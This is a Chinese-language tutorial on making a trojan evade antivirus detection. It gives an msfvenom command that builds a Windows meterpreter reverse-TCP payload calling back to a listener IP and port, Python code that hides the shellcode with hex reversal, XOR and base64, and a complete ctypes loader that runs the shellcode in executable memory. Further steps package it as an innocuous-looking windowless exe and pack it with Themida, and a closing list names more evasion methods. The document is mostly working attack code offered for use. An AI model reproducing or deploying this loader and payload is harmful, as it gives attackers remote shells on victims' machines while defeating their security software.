木马免杀
0x00 免杀
木马免杀的方法有很多种,如反转、异或、远程加载、加壳等,这里举例反转加异或
0x01 利用msfvenom制作木马
sfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.12.135 LPORT=5555 -f py > 2.py
# -p 指定payload
# LHOST 指定接收IP
# LPORT 指定接收端口
# -f 输出文件格式
# –o 文件输出
0x02 将木马文件内容进行加工
######################################################
# 1、对木马进行处理(buf变量是生成python木马的内容)
import binascii
results = binascii.b2a_hex(buf)
new = results.decode()[::-1]
print(new)
######################################################
# 2、将生成的new字符串进行异或运算
import base64
import binascii
def xor(tips, key):
lkey = len(key)
secret = []
num = 0
for each in tips:
if num >= lkey:
num = num % lkey
secret.append(chr(ord(each) ^ ord(key[num])))
num += 1
return secret
# 异或加密
new = "" # new是第一步生成的new值
encd = xor(new, 'ad')
resp = base64.b64encode("".join(encd).encode()).decode()
print(resp)
######################################################
# 3、加载器
import base64
import binascii
def xor(tips, key):
lkey = len(key)
secret = []
num = 0
for each in tips:
if num >= lkey:
num = num % lkey
secret.append(chr(ord(each) ^ ord(key[num])))
num += 1
return secret
code = "" # code是第二步生成的resp的值
tips = base64.b64decode(code.encode()).decode()
decd = xor(tips, 'ad')
resp = "".join(decd)
new = resp.encode()[::-1]
results = binascii.a2b_hex(new)
print(results)
# # 加载器
import ctypes
shellcode = results
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
0x03 将加载器文件打包成人畜无害的exe文件
pyinstaller -F -w 03_Loader.py
# -F 只在dist中产生一个exe文件。
# -w 只对windows有效,不使用控制台。
# -i 设置好看的ico格式的图标,加上该参数,指定图标路径。
# -p 设置导入路径
0x04 加壳
利用Themida给exe文件进行加壳——加壳工具有很多,可自行决定
0x05 将打包的文件用安全软件进行检测
实际免杀效果需要自己测试,和写的加密方式有关
注意,查杀有两种:
一、特征码检测
二、行为检测
在通过免杀的基础上还要保证能正常运行
0x06 免杀方法汇总
- 远程加载
- 进程注入
- 傀儡进程
- 未导出API
- 掩日
- 等等